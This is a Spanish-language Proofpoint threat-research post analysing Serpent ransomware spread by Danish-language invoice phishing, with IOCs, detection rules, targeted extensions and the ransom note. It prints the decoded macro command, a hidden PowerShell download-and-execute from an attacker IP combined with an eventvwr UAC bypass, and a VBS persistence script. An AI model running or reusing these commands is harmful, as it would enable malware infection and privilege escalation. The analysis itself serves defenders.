Nuevo ransomware Serpent se dirige a hablantes de danés

February 08, 2017
Proofpoint Staff

Aunque el ransomware Locky dominó los ataques basados en correo electrónico durante gran parte del año 2016, continuamos viendo que aparecen nuevas variantes de ransomware con la misma frecuencia con la que los actores de amenazas buscan obtener ganancias mediante la tendencia que comenzó con Locky a principios del año pasado. Algunas de esas variantes se elaboran con rapidez y se resquebrajan fácilmente; mientras que otras se diseñan cuidadosamente y se acompañan de señuelos eficaces. El ransomware Serpent, el cual fue recientemente detectado por los investigadores de Proofpoint y se analiza a continuación, cae en esa última categoría.

Descripción general

El 7 de febrero, los investigadores de Proofpoint descubrieron un nuevo ransomware conocido como “Serpent”, el cual se distribuye mediante correo electrónico con vínculos que conducen a documentos de Microsoft Office malintencionados. Hasta el momento, Proofpoint ha observado que esa amenaza se dirige a destinatarios de habla danesa con el asunto: "Sidste påmindelse for udestående faktura 1603750", que significa “último recordatorio de la factura pendiente 1603750". Los mensajes de correo electrónico nefastos contienen un vínculo que descarga un documento que tiene como nombre el mismo número que aparece en la línea de asunto: 1603750.doc. En la figura 1 se muestra un mensaje de ejemplo:

Figura 1: Mensaje de ejemplo con el vínculo del documento malintencionado; el mensaje escrito en danés exige el pago de una factura vencida y amenaza con enviar la cuenta a un cobrador de morosos. 

Ese documento contiene macros malintencionadas que, al abrirse y habilitarse, comienzan el proceso de infección. Según nuestro análisis inicial, parece ser que este ransomware se ha desarrollado con sumo cuidado y ofrece una página de cifrado impecable que incluye soporte, preguntas frecuentes y diversas instrucciones para descifrar archivos.  Por ahora, el rescate se ha establecido en 0,75 bitcoins (aproximadamente $787,09 USD al momento de redactar este artículo) durante los primeros siete días. Después, el rescate sube a 2,25 BTC (aproximadamente $2366,55 USD).

Durante el análisis de esta amenaza hecho por los investigadores de Proofpoint, observamos algunas similitudes entre Serpent y la variante de ransomware previamente conocida como Hades Locker[1], específicamente en las técnicas de protocolo de comando y control (C&C), de nota de rescate y de distribución.

Análisis

La primera etapa de esta infección comienza cuando un usuario descarga un documento de Microsoft Office nefasto. Al abrirlo, se persuade al usuario para que habilite las macros con la imagen siguiente:

Figura 2: Señuelo de documento de Microsoft Word malintencionado que seduce al usuario para que habilite el contenido

Una vez que se habilitan las macros, comienza el proceso de infección y se muestra el texto siguiente para enmascarar las verdaderas intenciones del documento ante las confiadas víctimas:

Figura 3: Documento de Microsoft Word malintencionado después de habilitar el contenido

Tras un análisis a fondo, descubrimos que las macros descifran y ejecutan el comando siguiente:

C:\Windows\System32\cmd.exe" /c powershell.exe -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('hxxp://185.163.46[.]150/software.exe','C:\Users\[nombre de usuario]\AppData\Local\Temp\\puttyx86.exe') & reg add HKCU\\Software\\Classes\\mscfile\\shell\\open\\command /d C:\Users\[nombre de usuario]\AppData\Local\Temp\\puttyx86.exe /f & eventvwr.exe & PING -n 15 127.0.0.1>nul & C:\Users\[nombre de usuario]\AppData\Local\Temp\\puttyx86.exe

Este comando utiliza PowerShell para descargar el archivo ejecutable desde 185.163.46[.]150 y lo guarda en C:\Users\[nombre de usuario]\AppData\Local\Temp\\ como "puttyx86.exe". A continuación, hace uso de una conocida técnica que sortea el control de cuentas de usuario (UAC) mediante eventvwr.exe y el registro de Windows para ejecutar Serpent con privilegios superiores sin alertar al usuario final; esta técnica también se ha observado en muchas otras infecciones[2].

Una vez que se ejecuta Serpent, se crea una exclusión mutua de MUTEX000001 en el host infectado. Además, Serpent recopila datos geográficos en el host infectado por medio de una solicitud HTTP de ipinfo[.]io/json. Poco después, Serpent hace una solicitud de HTTP POST al servidor C&C, el cual a su vez informa varios detalles:

Figura 4: Tráfico del comando y control del ransomware Serpent

La solicitud contiene un HWID único que sigue el patrón hwid=[A-F0-9]{8}-[A-F0-9]{8}-[A-F0-9]{8}-[A-F0-9]{8}. Se utiliza ese HWID para comenzar el proceso de descifrado. Después del HWID, está el parámetro "campaign=" seguido de un "%23" con codificación URL, o “#”, y dígitos que pueden identificar la campaña asociada con la instancia particular de Serpent. Por último, la solicitud POST contiene los parámetros "ip=" y "country=" que devuelven la información obtenida con la solicitud ipinfo[.]io.

Si la respuesta del C&C es satisfactoria, contiene un valor “RSAKeyValue”, de forma específica un “Modulus” y un “Exponent”. Aunque no se investigó a fondo, esos valores generalmente sirven para determinar una clave simétrica. Serpent no cifra archivos si la máquina de la víctima no está en línea y no puede conectarse al servidor C&C para recibir material clave.

A fin de lograr la persistencia en la máquina de la víctima, Serpent crea la clave de registro siguiente: C:\Users\[nombre de usuario]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\raesdfgiuytr.vbs. El contenido de "raesdfgiuytr.vbs" se ejecuta durante el inicio:

set ZDrCLRlUAizbyd = CreateobJEcT("WscRIpt.shEll") ZDRCLrluAIZbyD.Run """C:\Users\[nombre de usuario]\AppData\Roaming\raesdfgiuytr\iutyfghjkoiuytf.exe"""

Durante el proceso de cifrado, inicialmente encontramos cerca de 150 tipos de archivos objetivo, pero después de recibir información actualizada de MalwareHunterTeam (@MalwrHunterTeam), ese número era de casi 900 extensiones objetivo (véase el apéndice A). Una vez que Serpent ha localizado y cifrado los archivos objetivo, a la extensión anterior de los archivos cifrados se les agrega la extensión ".serpent". Por ejemplo: un archivo cifrado sería "CuadroNegro.bmp.serpent". Además, Serpent deja una nota de rescate en las carpetas Escritorio, Documentos e Imágenes a modo de archivo de texto y de documento HTML. El nombre de la nota de rescate es "HOW_TO_DECRYPT_YOUR_FILES_[A-Za-z0-9]{3}.txt" y "HOW_TO_DECRYPT_YOUR_FILES_[A-Za-z0-9]{3}.html", lo cual significa "cómo descifrar sus archivos". El texto completo de la nota de rescate se encuentra en el apéndice B.

Figura 5: Notas de rescate del ransomware Serpent, tanto la versión HTML como de texto

Tras visitar la página de cifrado del ransomware Serpent, a las víctimas se les requiere que ingresen el HWID que se encuentra en la nota de rescate, o bien, pueden navegar directamente hasta la página de descifrado agregando el HWID a la URI.

Después de ingresar el HWID único que está en la nota de rescate, las víctimas pueden acceder a la página de descifrado del ransomware Serpent. La página de inicio ofrece instrucciones en cuanto a cómo comprar el "Descifrador de Serpent", el cual cuesta O,75 BTC. Serpent incluye un temporizador de siete días y si este se vence, el precio del Descifrador de Serpent sube a 2,25 BTC. Además de la página de inicio, hay páginas de preguntas frecuentes, instrucción y soporte. La página de "Soporte" permite que la víctima envíe un mensaje al equipo de Serpent. Con cada infección se genera una dirección BTC única.

Figura 6: Página de inicio del sitio web de descifrado del ransomware Serpent

Figura 7: Preguntas frecuentes del sitio web de descifrado del ransomware Serpent

Figura 8: Instrucciones de descifrado del sitio web del ransomware Serpent

Figura 9: Portal de soporte del sitio web de descifrado del ransomware Serpent

Conclusión

El ransomware continúa siendo una amenaza creciente, a medida que seguimos encontrando nuevas variantes de ransomware casi a diario. Serpent no es la excepción y parece haber sido elaborado con sumo cuidado y profesionalismo al compararlo con otras variantes caseras de ransomware. Aunque la distribución de Serpent está ahora a una escala menor que Cerber, Sage 2.0 y otras variantes de ransomware, tiene el potencial de llegar a ser otro protagonista en el ransomware de amplia distribución. Con Serpent, coninuamos viendo trampas de distribución, tales como vínculos de descarga de documentos malintencionados en mensajes de correo electrónico, en lugar de solamente utilizar documentos adjuntos. A medida que la creación y distribución de ransomware no da señales de bajar el ritmo, continuamos monitorizando la evolución de esas amenazas y del impacto que tienen en empresas y personas.

Referencias

[1] proofpoint.com/us/threat-insight/post/hades-locker-ransomware-mimics-locky

[2] enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking

Indicadores de compromiso (IOC)

IOC

Tipo de IOC

Descripción

hxxp://tomrerarbejdeolsen[.]com/1603750.doc

URL

Vínculo en el mensaje de correo electrónico

7f651e264ff49fedc437ec138e81e5683e579a5d886a31b217b1d847b6fb1d0a

SHA256

1603750.doc

hxxp://185.163.46[.]150/software.exe

URL

Carga dañina de documento

2c8da65cafc883c75bf3f15c3e3dcbe519aebd71759832812c2ac2695d31286d

SHA256

software.exe (Ransomware Serpent)

146.71.84[.]110:8080

C&C

C&C del ransomware Serpent

185.175.208[.]12:8080

C&C

Dominio de descarga del ransomware Serpent

94.140.120[.]88:8080

C&C

C&C del ransomware Serpent

3o4kqe6khkfgx25g[.]onion

Dominio de pago

Dominio de cifrado de Serpent

vdpbkmwbnp[.]pw

Dominio de pago

Dominio de cifrado de Serpent

hnxrvobhgm[.]pw

Dominio de pago

Dominio de cifrado de Serpent

Cobertura de Suricata y Snort de ET y ETPRO

2016141 - ET INFO Descarga del ejecutable desde el host dotted-quad
2000419 - ET POLICY PE Descarga del archivo EXE o DLL de Windows
2016538 - ET INFO Ejecutable recuperado con encabezados HTTP mínimos, descarga potencial de segunda etapa
2021076 - ET INFO Respuesta MZ sospechosa del host dotted quad
2020716 - ET POLICY Búsqueda de posible dirección IP externa con ipinfo.io
2824808 - ETPRO TROJAN Informe de ransomware Win32/Serpent

Cobertura de ClamAV

MiscreantPunch.EvilMacro.MultiPSDL.M2.170206.UNOFFICIAL

Apéndice A

.2011,.2012,.2013,.2014,.2015,.2016,.2017,.7zip,.accd,.accdb,.accde,.accdr,.accdt,.aepx,.agdl,.aiff,.aspx,.back,.backup,.backupdb,.bank,.blend,.btif,.cdr3,.cdr4,.cdr5,.cdr6,.cdrw,.cfdi,.clas,.class,.cntk,.config,.craw,.db-journal,.db_journal,.ddoc,.ddrw,.defx,.design,.djvu,.docb,.docm,.docx,.dotm,.dotx,.dtau,.efsl,.erbsql,.fcpa,.fcpr,.flac,.flvv,.gray,.grey,.groups,.html,.iban,.ibank,.idml,.incpas,.indb,.indd,.indl,.indt,.int?,.intu,.java,.jpeg,.jsda,.kdbx,.kpdx,.laccdb,.lay6,.m2ts,.m3u8,.mbsb,.meta,.mhtm,.mone,.moneywell,.mpeg,.ms11,.myox,.nvram,.pages,.pcif,.php5,.phtml,.plus_muhd,.potm,.potx,.ppam,.ppsm,.ppsx,.pptm,.pptx,.prel,.prpr,.psafe3,.pspimage,.ptdb,.qb20,.qbmb,.qbmd,.qcow,.qcow2,.qdfx,.qmtf,.quic,.qwmo,.resx,.s3db,.safe,.sas7bdat,.save,.seam,.sldm,.sldx,.sqli,.sqlite,.sqlitedb,.tax0,.tax1,.tax2,.text,.tiff,.tt10,.tt11,.tt12,.tt13,.tt14,.tt15,.tt20,.vbox,.vbpf,.vhdx,.vmdk,.vmsd,.vmxf,.wallet,.xhtm,.xlam,.xlsb,.xlsb,3dm,.xlsm,.xlsx,.xltm,.xltx,.ycbcra,.zipx,.#vc, .$ac, ._vc, .00c, .07g, .07i, .08i, .09i, .09t, .10t, .11t, .123, .13t, .1cd, .1pa, .1pe, .2011, .2012, .2013, .2014, .2015, .2016, .2017, .210, .3dm, .3ds, .3fr, .3g2, .3gp, .3me, .3pe, .3pr, .500, .7z, .7zip, .aac, .aaf, .ab4, .abk, .ac, .ac2, .acc, .accd, .accdb, .accde, .accdr, .accdt, .ach, .aci, .acm, .acr, .act, .adb, .adp, .ads, .aep, .aepx, .aes, .aet, .afm, .agdl, .ai, .aif, .aiff, .ait, .al, .amj, .aoi, .apj, .arc, .arw, .as, .as3, .asc, .asf, .asm, .asp, .aspx, .asx, .ati, .avi, .awg, .back, .backup, .backupdb, .bak, .bank, .bat, .bay, .bb, .bc8, .bc9, .bd2, .bd3, .bdb, .bgt, .bik, .bin, .bk, .bk2, .bkc, .bke, .bkf, .bkn, .bkp, .blend, .bmp, .bpf, .bpp, .bpw, .brd, .brw, .btif, .bup, .bz2, .c, .cal, .cat, .cb, .cd, .cdf, .cdr, .cdr3, .cdr4, .cdr5, .cdr6, .cdrw, .cdt, .cdx, .ce1, .ce2, .cer, .cf8, .cf9, .cfdi, .cfg, .cfp, .cgm, .cgn, .ch, .chg, .cht, .cib, .clas, .class, .clk, .cls, .cmd, .cmt, .cmx, .cnt, .cntk, .coa, .config, .contact, .cpi, .cpp, .cpt, .cpw, .cpx, .cr2, .craw, .crt, .crw, .cs, .csh, .csl, .csr, .css, .csv, .cur, .cus, .cvt, .d07, .dac, .dat, .db, .db-journal, .db_journal, .db3, .dbf, .dbk, .dbx, .dc2, .dch, .dcr, .dcs, .ddd, .ddoc, .ddrw, .dds, .defx, .der, .des, .design, .dgc, .dif, .dip, .dit, .djv, .djvu, .dng, .doc, .docb, .docm, .docx, .dot, .dotm, .dotx, .drf, .drw, .ds4, .dsb, .dsf, .dtau, .dtb, .dtd, .dtl, .dwg, .dxb, .dxf, .dxg, .dxi, .ebc, .ebd, .ebq, .ec8, .edb, .efs, .efsl, .efx, .emd, .eml,.emp, .ens, .ent, .epa, .epb, .eps, .eqb, .erbsql, .erf, .ert, .esk, .ess, .esv, .etq, .ets, .exf, .exp, .fa1, .fa2, .fb, .fbw, .fca, .fcpa, .fcpr, .fcr, .fdb, .fef, .ffd, .fff, .fh, .fhd, .fim, .fkc, .fla, .flac, .flf, .flv, .flvv, .fmb, .fmv, .fon, .fpx, .frm, .fx0, .fx1, .fxg, .fxr, .fxw, .fyc, .gdb, .gem, .gfi, .gif, .gnc, .gpc, .gpg, .gray, .grey, .groups, .gry, .gsb, .gto, .gz, .h, .h10, .h11, .h12, .hbk, .hdd, .hif, .hpp, .hsr, .htm, .html, .hts, .hwp, .i2b, .iban, .ibank, .ibd, .ibz, .ico, .idml, .idx, .iff, .iif, .iiq, .img, .imp, .incpas, .indb, .indd, .indl, .indt, .ini, .int?, .intu, .inv, .inx, .ipe, .ipg, .itf, .jar, .java, .jin, .jng, .jnt, .jou, .jp2, .jpe, .jpeg, .jpg, .js, .jsd, .jsda, .jsp, .kb7, .kbx, .kc2, .kd3, .kdbx, .kdc, .key, .kmo, .kmy, .kpdx, .kwm, .laccdb, .lay, .lay6, .lcd, .ldc, .ldf, .ldr, .let, .lgb, .lhr, .lid, .lin, .lit, .lld, .lmr, .log, .lua, .lz, .m, .m10, .m11, .m12, .m14, .m15, .m16, .m2ts, .m3u, .m3u8, .m4a, .m4p, .m4u, .m4v, .mac, .max, .mbk, .mbsb, .mbx, .md, .mda, .mdb, .mdc, .mdf, .mef, .mem, .met, .meta, .mfw, .mhtm, .mid, .mkv, .ml2, .ml9, .mlb, .mlc, .mmb, .mml, .mmw, .mn1, .mn2, .mn3, .mn4, .mn5, .mn6, .mn7, .mn8, .mn9, .mne, .mnp, .mny, .mone, .moneywell, .mos, .mov, .mp2, .mp3, .mp4, .mpa, .mpe, .mpeg, .mpg, .mql, .mrq, .mrw, .ms11, .msg, .mwi, .mws, .mx0, .myd, .mye, .myi, .myox, .n43, .nap, .nd, .ndd, .ndf, .nef, .nk2, .nl2, .nni, .nop, .npc, .nrw, .ns2, .ns3, .ns4, .nsd, .nsf, .nsg, .nsh, .nv, .nv2, .nvram, .nwb, .nx2, .nxl, .nyf, .oab, .obi, .obj, .odb, .odc, .odf, .odg, .odm, .odp, .ods, .odt, .oet, .ofc, .ofx, .ogg, .oil, .old, .omf, .op, .orf, .ost, .otg, .oth, .otp, .ots, .ott, .p08, .p12, .p7b, .p7c, .pab, .pages, .paq, .pas, .pat, .pbl, .pcd, .pcif, .pct, .pcx, .pd6, .pdb, .pdd, .pdf, .pef, .pem, .per, .pfb, .pfd, .pfx, .pg, .php, .php5, .phtml, .pic, .pif, .pl, .plb, .plc, .pls, .plt, .plus_muhd, .pma, .pmd, .png, .pns, .por, .pot, .potm, .potx, .pp4, .pp5, .ppam, .ppf, .ppj, .pps, .ppsm, .ppsx, .ppt, .pptm, .pptx, .pr0, .pr1, .pr2, .pr3, .pr4, .pr5, .prel, .prf, .prn, .prpr, .ps, .psafe3, .psd, .psp, .pspimage, .pst, .ptb, .ptdb, .ptk, .ptx, .pvc, .pwm, .pxa, .py, .q00, .q01, .q06, .q07, .q08, .q09, .q43, .q98, .qb1, .qb20, .qba, .qbb, .qbi, .qbk, .qbm, .qbmb, .qbmd, .qbo, .qbp, .qbr, .qbw, .qbx, .qby, .qbz, .qch, .qcow, .qcow2, .qdf, .qdfx, .qdt, .qed, .qel, .qem, .qfi, .qfx, .qif, .qix, .qme, .qml, .qmt, .qmtf, .qnx, .qob, .qpb, .qpd, .qpg, .qph, .qpi, .qsd, .qsm, .qss, .qst, .qtx, .quic, .quo, .qw5, .qwc, .qwmo, .qxf, .r3d, .ra, .raf, .rar, .rat, .raw, .rb, .rcs, .rda, .rdb, .rdy, .reb, .rec, .resx, .rif, .rm, .rpb, .rpf, .rss, .rtf, .rtp, .rvt, .rw2, .rwl, .rwz, .rz, .s12, .s3db, .s7z, .saf, .safe, .saj, .sas7bdat, .sav, .save, .say, .sba, .sbc, .sbd, .sbf, .sbk, .scd, .sch, .sct, .sd0, .sda, .sdf, .sdy, .seam, .ses, .set, .shw, .sic, .sik, .skg, .sldm, .sldx, .slk, .slp, .spf, .spi, .sql, .sqli, .sqlite, .sqlite3, .sqlitedb, .sr2, .srf, .srt, .srw, .ssg, .st4, .st5, .st6, .st7, .st8, .stc, .std, .sti, .stm, .str, .stw, .stx, .svg, .swf, .swp, .sxc, .sxd, .sxg, .sxi, .sxm, .sxw, .t00, .t01, .t02, .t03, .t04, .t05, .t06, .t07, .t08, .t09, .t10, .t11, .t12, .t13, .t14, .t15, .t99, .ta1, .ta2, .ta4, .ta5, .ta6, .ta8, .ta9, .tar, .tax, .tax0, .tax1, .tax2, .tb2, .tbk, .tbp, .tdr, .tex, .text, .tfx, .tga, .tgz, .thm, .tib, .tif, .tiff, .tjl, .tkr, .tlg, .tom, .tpl, .trm, .trn, .tt10, .tt11, .tt12, .tt13, .tt14, .tt15, .tt20, .ttf, .txf, .txt, .u08, .u10, .u11, .u12, .umb, .uop, .uot, .v30, .vb, .vbk, .vbox, .vbpf, .vbs, .vcf, .vdf, .vdi, .vhd, .vhdx, .vib, .vmb, .vmdk, .vmsd, .vmx, .vmxf, .vnd, .vob, .vrb, .vsd, .vyp, .vyr, .wab, .wac, .wad, .wallet, .war, .wav, .wb2, .wbk, .wi, .wk1, .wk3, .wk4, .wks, .wma, .wmf, .wmv, .wpd, .wpg, .wps, .x11, .x3f, .xaa, .xcf, .xeq, .xhtm, .xis, .xla, .xlam, .xlc, .xlk, .xll, .xlm, .xlr, .xls, .xlsb, .xlsb,3dm, .xlsm, .xlsx, .xlt, .xltm, .xltx, .xlw, .xml, .xpm, .xqx, .ycbcra, .yuv, .zdb, .zip, .zipx, .zix, .zka

Apéndice B

==== ¿NECESITA AYUDA CON LA TRADUCCIÓN? USE https://translate.google.com ====
================ LEA ESTE MENSAJE CON CUIDADO ================

¡Sus documentos, fotos, videos, bases de datos y otros archivos importantes se han cifrado!
Los archivos se han cifrado con AES256 y RSA2048 (irrompible)

Para descifrar los archivos, necesita comprar el software especial 'Descifrador de Serpent'.
Puede comprar el software en uno de los sitios web siguientes.

http://vdpbkmwbnp[.]pw/00000000-00000000-00000000-00000000
http://hnxrvobhgm[.]pw/00000000-00000000-00000000-00000000

Si los sitios web anteriores no funcionan, puede ir a un sitio web especial en la red TOR. Siga estos pasos
1. Descargue el navegador TOR https://www.torproject.org/projects/torbrowser.html.en#downloads
2. En el navegador TOR, vaya a: 3o4kqe6khkfgx25g[.]onion/00000000-00000000-00000000-00000000
3. Siga las instrucciones para comprar el 'Descifrador de Serpent'

================ LEA ESTE MENSAJE CON CUIDADO ================